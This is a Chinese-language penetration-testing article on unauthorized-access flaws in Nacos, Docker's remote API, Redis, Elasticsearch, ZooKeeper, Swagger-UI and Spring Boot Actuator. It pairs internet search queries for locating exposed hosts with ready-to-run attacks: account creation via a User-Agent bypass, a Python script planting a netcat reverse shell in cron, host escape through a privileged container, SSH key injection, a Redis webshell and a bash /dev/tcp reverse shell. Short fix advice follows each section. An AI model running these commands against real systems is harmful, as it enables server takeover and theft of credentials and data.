STATEMENT
声明
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测及文章作者不为此承担任何责任。
雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
nacos未授权访问漏洞
什么是nacos
Nacos 致力于帮助您发现、配置和管理微服务。Nacos 提供了一组简单易用的特性集,帮助您快速实现动态服务发现、服务配置、服务元数据及流量管理。Nacos 帮助您更敏捷和容易地构建、交付和管理微服务平台。Nacos 是构建以“服务”为中心的现代应用架构 (例如微服务范式、云原生范式) 的服务基础设施。
漏洞详情:
Nacos官方仓库的issue中披露了Nacos存在一个由于不当处理User-Agent导致的鉴权绕过漏洞。
影响版本: Nacos <= 2.0.0-ALPHA.1
检测是否为nacos:
访问/nacos 目录
ResponseBody中有Nacos就是Nacos没错了。
fofa语法:title="nacos"
攻击方式:
一、任意账户注册
curl -XPOST 'http://xxx/nacos/v1/auth/users?username=123&password=123' -H 'User-Agent: Nacos-Server'
二、查看配置信息:
可获取数据库账户密码等:
http://xxx/nacos/v1/cs/configs?dataId=&group=&appName=&config_tags=&pageNo=1&pageSize=10&tenant=dev&search=accurate
三、漏洞修复
升级Nacos版本到最新版本
docker 未授权访问导致docker逃逸漏洞
Docker简介:
Docker 是一个开源的应用容器引擎,基于 Go 语言 并遵从 Apache2.0 协议开源。Docker 可以让开发者打包他们的应用以及依赖包到一个轻量级、可移植的容器中,然后发布到任何流行的 Linux 机器上,也可以实现虚拟化。容器是完全使用沙箱机制,相互之间不会有任何接口(类似 iPhone 的 app),更重要的是容器性能开销极低。虽然Docker确实和虚拟机有很大的区别,也可以认为Docker是虚拟机,这样可以更好的对比和理解(底层的实现原理和细节确实是完全不一样的,但是宏观上在使用的时候,确实可以看作就是个虚拟机。)Docker主要包含三个方面,镜像、容器、仓库。Docker不正确的使用可以使入侵者利用进一步造成docker逃逸
Docker_remote_api简介:
docker remote api主要的目的是取代命令行界面,docker client和docker daemon通过unix domain socket进行通信,默认情况下,只有本机的root和docker组用户才能操作docker.
漏洞简介:
由于docker安装后是默认不允许远程访问的,但是可以使用docker_remote_api开启dcoker远程访问,虽然这样可以远程访问了,但是直接暴露在公网上的2375端口是非常危险的,导致所有人都可以远程操作这台主机上的Docker。
漏洞详情:
Docker的2375端口是docker remote API的默认端口,一般是不使用的(不占用)。开启2375端口即可远程访问可以任意执行Docker命令了。可以操作Docker的容器。如果网站部署在了Docker容器里面的话,可以进入攻击。
检测方式:进行端口扫描查看是否开放2375端口,并且访问ip:2375/version 出现如下信息:
fofa语法:protocol="docker" && port="2375" && banner="Version"
攻击方式
一、定时任务反弹shell
创建sh文件定时任务来进行反弹shell
利用exp脚本:
import docker
client = docker.DockerClient(base_url='http://ip:2375)
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc ip: 111 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})
二、写公钥
Linux中ssh登录可以直接通过输入用户名和密码的方式来登录,也可以通过密钥来登录。密钥形式登录的原理是:利用密钥生成器制作一对密钥——一只公钥和一只私钥。将公钥添加到服务器的某个账户上,然后在客户端利用私钥即可完成认证并登录。这样一来,没有私钥,任何人都无法通过 SSH 暴力破解你的密码来远程登录到系统。此外,如果将公钥复制到其他账户甚至主机,利用私钥也可以登录。
使用命令在攻击机中生成ssh公钥和私钥,密码设置为空(为空就是在生成公钥和私钥的过程中回车即可)
ssh-keygen -t rsa
生成公钥 id_rsa.pub:
利用docker 挂载宿主机目录(类似于vm 虚拟机的共享文件夹机制)
**docker -H tcp://**ip **run –rm –privileged -it -v /:/mnt busybox chroot /mnt sh**
参数的含义:
–rm 容器停止时,自动删除该容器
–privileged 使用该参数,container内的root拥有真正的root权限。否则,container内的root只是外部的一个普通用户权限。privileged启动的容器,可以看到很多host上的设备,并且可以执行mount。甚至允许你在docker容器中启动docker容器。
-v 挂载目录。格式为 系统目录:容器目录
chroot就是把根目录切换到/mnt,最后的sh就是我们使用的shell。
挂载之后进入系统/root/.ssh目录:
使用echo写入的方式 写公钥
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDoQjfujdd5QGO8UDKKxQEMO3Qv4gCNu454y86NB+JpU76gxXBMTRoCuI2dzIA730bP9UG9dHzd4HSWZJNqaV6rN0ZLSORs+B2zHumbkaTOlNGqAluTAO7LnRTqLzonL6cS0QQX+rjj+LjYSp2d21Tt8aU2S1vFxTsZnvfOA+l0vCkiOrjf6okJGpIcbkkjZ7joVegMRuRbUSns+q/WlNFbCaNCncHplBwBATB9D4jNSyu/l29ACzKk7lrVUsSbzLJj38e7guhT01/LO3q/caowGTXnBspe2mszKPM/PykgflWgefszrcwhYIX5721xpVAtH85Vga9T3Ol784gp5MLct5A60/Owzchi3rPBnaULvQ4kkBAgi96Oj6IWgBd834CHFfe5fONqON2mBZV/CAm2GRXY418m14g4Hg5doSts4cx+i7NbJsrwDwjf9jdhjgR8OsQR6JulwKVyWeeEg9kPHtbfdJbrzq5Qg6mnzdHi2FFDvNus38kFgpz5JrwW+p0= root@kali" > ./authorized_keys
接着使用自己刚刚生成的私钥去连接即可:
ssh -i id_rsa root@ip
三、漏洞修复与总结
1.关闭2375端口 (尤其是公网情况下一定要禁用此端口)
2.在防火墙上配置禁止外网访问2375端口
3.Docker是以root权限运行的,这是所有姿势的前提
4.Docker在运行一个容器的时候可以将宿主机上的一个目录挂载到容器内的一个目录,来进行docker逃逸, 还可以通过crontab写计划任务反弹shell
redis 未授权访问漏洞
redis 简介:
Redis 是一个开源(BSD许可)的,内存中的数据结构存储系统,它可以用作数据库、缓存和消息中间件。Redis全称:REmote DIctionary Server(远程字典服务器)。是完全开源免费的,用C语言编写的,遵守BSD协议,是一个高性能的(key/value)分布式内存数据库,基于内存运行,并支持持久化的NoSQL数据库,是当前最热门的NoSQL数据库之一,也被人们称为数据结构服务器。
漏洞简介:
Redis 默认情况下会绑定在 服务器6379端口,如果没有进行采用相关的策略,将 Redis 服务暴露到公网上,在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。
攻击redis 除了主从复制RCE之外最常见的就是未授权打6379,在内网中比较常见,常常结合ssrf漏洞来进行攻击:乌云案例:
http://wooyun.2xss.cc/bug_detail.php?wybug_id=wooyun-2016-0229611
fofa语法:protocol="redis" && banner="redis_version"
利用工具:
https://github.com/n0b0dyCN/redis-rogue-server
攻击方法
redis-cli -h ip
连接之后输入info即可查看数据信息证明存在未授权:
一、写webshell
前提:有web服务并且知道绝对路径
config set dir /var/www/html //vps的Web 网站的目录,常见的目录是/var/www/html
config set dbfilename test.php //写入的文件名
set webshell "<?php phpinfo();?>" // shell内容
save //保存
二、写公钥(同docker)
命令行运行:
cd .ssh/
(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > test.txt
cat test.txt | redis-cli -h ip -x set test
连接redis运行:
redis-cli -h ip
keys *
get test
config set dir "/root/.ssh" //保更改redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh)
config set dbfilename "authorized_keys" // 设置上传公钥的备份文件名字为authorized_keys
save //将test里的公钥保存到/root/.ssh/authotrized_keys文件中(要有写权限)
最后
ssh –i i d_rsa root@i
连接
三、写定时任务反弹shell
同docker
set xx "\n* * * * * bash -i >& /dev/tcp/192.168.63.128/7999 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save
漏洞修复与总结:
1.关闭6379端口 (尤其是公网情况下一定要禁用此端口)
2.在防火墙上配置禁止外网访问6379端口
3.配置连接密码
4.实战中外网的redis的攻击往往会因为目录不存在,权限不够的原因导致攻击失败
Elasticsearch未授权访问漏洞
漏洞简介:
ElasticSearch是一个基于Lucene的搜索服务器。它提供了一个分布式多用户能力的全文搜索引擎,基于RESTful web接口。Elasticsearch是用Java开发的,并作为Apache许可条款下的开放源码发布,是当前流行的企业级搜索引擎。Elasticsearch的增删改查操作全部由http接口完成。由于Elasticsearch授权模块需要付费,所以免费开源的Elasticsearch可能存在未授权访问漏洞。该漏洞导致,攻击者可以拥有Elasticsearch的所有权限。可以对数据进行任意操作。业务系统将面临敏感数据泄露、数据丢失、数据遭到破坏甚至遭到攻击者的勒索。Elasticsearch服务普遍存在一个未授权访问的问题,攻击者通常可以请求一个开放9200或9300端口的服务器进行恶意攻击。具体案例:https://www.secpulse.com/?s=Elasticsearch
fofa语法:app="Elasticsearch" && port="9200" && body="name"
攻击方法:
/_plugin/head/ web管理界面
/_cat/indices
/_river/_search 查看数据库敏感信息
/_nodes 查看节点数据
/_search?pretty=true 查询所有的index ,意思差不多就是数据库里的database
如果想要查看某个index下面的数据则访问:index
/_search?pretty=true
修复方案
1.关闭9200端口 2.防火墙上设置禁止外网访问此端口。
ZooKeeper未授权访问漏洞
漏洞简介:
ZooKeeper是一个分布式的,开放源码的分布式应用程序协调服务,是Google的Chubby一个开源的实现,是Hadoop和Hbase的重要组件。它是一个为分布式应用提供一致性服务的软件,提供的功能包括:配置维护、域名服务、分布式同步、组服务等。zookeeper 未授权访问是指安装部署之后默认情况下不需要任何身份验证,从而导致 zookeeper 被远程利用,导致大量服务级别的信息泄露。
默认使用端口:2181、2182。
fofa语法:protocol="Zookeeper" && port="2181" && banner="version"
攻击方法:
echo conf | nc xx.xx.xx.xx 2181 输出相关服务配置的详细信息,端口、数据路径、日志路径、session 超时时间,最大连接数等。
echo envi | nc xx.xx.xx.xx 2181 输出服务器的详细信息。
echo dump | nc xx.xx.xx.xx 2181 | more 输出未处理的会话和临时节点,leader 节点有效。
echo cons | nc xx.xx.xx.xx 2181 | more 列出所有连接到当前服务器的客户端/会话的详细信息。
也可以使用
apt-get install zookeeper
下载客户端连接工具进行连接
Swagger-ui未授权访问漏洞
漏洞简介:
Swagger是一个规范和完整的框架,用于生成、描述、调用和可视化 RESTful 风格的 Web 服务,JAVA在金融机构开发语言的地位一直居高不下,而作为JAVA届服务端的大一统框架Spring,便将Swagger规范纳入自身的标准,建立了Spring-swagger项目,所以在实际测试环境中,基于spring框架的swagger-ui接口展示及调试文档页面最为常见。
可以通过翻查SWAGER UI文档,得到api接口,点击parameters,即可得到该api接口的详细参数。直接构造参数发包,可以实现用户密码修改,文件上传,信息泄露等危害
攻击方法:
将以下常见目录加入扫描字典:
/api
/api-docs
/api-docs/swagger.json
/api.html
/api/api-docs
/api/apidocs
/api/doc
/api/swagger
/api/swagger-ui
/api/swagger-ui.html
/api/swagger-ui.html/
/api/swagger-ui.json
/api/swagger.json
/api/swagger/
/api/swagger/ui
/api/swagger/ui/
/api/swaggerui
/api/swaggerui/
/api/v1/
/api/v1/api-docs
/api/v1/apidocs
/api/v1/swagger
/api/v1/swagger-ui
/api/v1/swagger-ui.html
/api/v1/swagger-ui.json
/api/v1/swagger.json
/api/v1/swagger/
/api/v2
/api/v2/api-docs
/api/v2/apidocs
/api/v2/swagger
/api/v2/swagger-ui
/api/v2/swagger-ui.html
/api/v2/swagger-ui.json
/api/v2/swagger.json
/api/v2/swagger/
/api/v3
/apidocs
/apidocs/swagger.json
/doc.html
/docs/
/druid/index.html
/graphql
/libs/swaggerui
/libs/swaggerui/
/spring-security-oauth-resource/swagger-ui.html
/spring-security-rest/api/swagger-ui.html
/sw/swagger-ui.html
/swagger
/swagger-resources
/swagger-resources/configuration/security
/swagger-resources/configuration/security/
/swagger-resources/configuration/ui
/swagger-resources/configuration/ui/
/swagger-ui
/swagger-ui.html
/swagger-ui.html# /api-memory-controller
/swagger-ui.html/
/swagger-ui.json
/swagger-ui/swagger.json
/swagger.json
/swagger.yml
/swagger/
/swagger/index.html
/swagger/static/index.html
/swagger/swagger-ui.html
/swagger/ui/
/Swagger/ui/index
/swagger/ui/index
/swagger/v1/swagger.json
/swagger/v2/swagger.json
/template/swagger-ui.html
/user/swagger-ui.html
/user/swagger-ui.html/
/v1.x/swagger-ui.html
/v1/api-docs
/v1/swagger.json
/v2/api-docs
/v3/api-docs
谷歌语法:inurl: /api/swagger-ui.html
例如:
使用curl 发送post请求修改用户密码:
springboot未授权访问漏洞
漏洞简介:
开发人员没有意识到地址泄漏会导致安全隐患或者开发环境切换为线上生产环境时,相关人员没有更改配置文件。
攻击方式:
将以下目录加入字典:
/actuator/auditevents
/actuator/beans
/actuator/health
/actuator/conditions
/actuator/configprops
/actuator/env
/actuator/info
/actuator/loggers
/actuator/heapdump
/actuator/threaddump
/actuator/metrics
/actuator/scheduledtasks
/actuator/httptrace
/actuator/mappings
/actuator/jolokia
/actuator/hystrix.stream
1./env、/actuator/envGET 请求 /env 会直接泄露环境变量、内网地址、配置中的用户名等信息;当程序员的属性名命名不规范,例如 password 写成 psasword、pwd 时,会泄露密码明文;同时有一定概率可以通过 POST 请求 /env 接口设置一些属性,间接触发相关 RCE 漏洞;同时有概率获得星号遮掩的密码、密钥等重要隐私信息的明文。
2./refresh、/actuator/refreshPOST 请求 /env 接口设置属性后,可同时配合 POST 请求 /refresh 接口刷新属性变量来触发相关 RCE 漏洞。
3./restart、/actuator/restart暴露出此接口的情况较少;可以配合 POST请求 /env 接口设置属性后,再 POST 请求 /restart 接口重启应用来触发相关 RCE 漏洞。
4./jolokia、/actuator/jolokia可以通过 /jolokia/list 接口寻找可以利用的 MBean,间接触发相关 RCE 漏洞、获得星号遮掩的重要隐私信息的明文等。
5./trace、/actuator/httptrace一些 http 请求包访问跟踪信息,有可能在其中发现内网应用系统的一些请求信息详情;以及有效用户或管理员的 cookie、jwt token 等信息。
6./actuator/heapdump 可以转储用来获取数据库密码
参考:springboot相关漏洞利用方式:
[https://github.com/LandGrey/SpringBootVulExploit# spring-boot-vulnerability-exploit-check-list](https://github.com/LandGrey/SpringBootVulExploit# spring-boot-vulnerability-exploit-check-list)
fofa语法:body="Whitelabel"
例如对/actuator/heapdump 下载的文件进行密码抓取可以下载https://www.eclipse.org/mat/downloads.php
使用 Eclipse Memory Analyzer 工具的 OQL 语句进行查询
查询语句:select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))
修复建议:
在使用Actuator时,不正确的使用或者一些不经意的疏忽,就会造成严重的信息泄露等安全隐患。在代码审计时如果是springboot项目并且遇到actuator依赖,则有必要对安全依赖及配置进行复查。也可作为一条规则添加到黑盒扫描器中进一步把控。安全的做法是一定要引入security依赖,打开安全限制并进行身份验证。同时设置单独的Actuator管理端口并配置不对外网开放。
安恒信息
✦
杭州亚运会网络安全服务官方合作伙伴
成都大运会网络信息安全类官方赞助商
武汉军运会、北京一带一路峰会
青岛上合峰会、上海进博会
厦门金砖峰会、G20杭州峰会
支撑单位北京奥运会等近百场国家级
重大活动网络安保支撑单位
END
长按识别二维码关注我们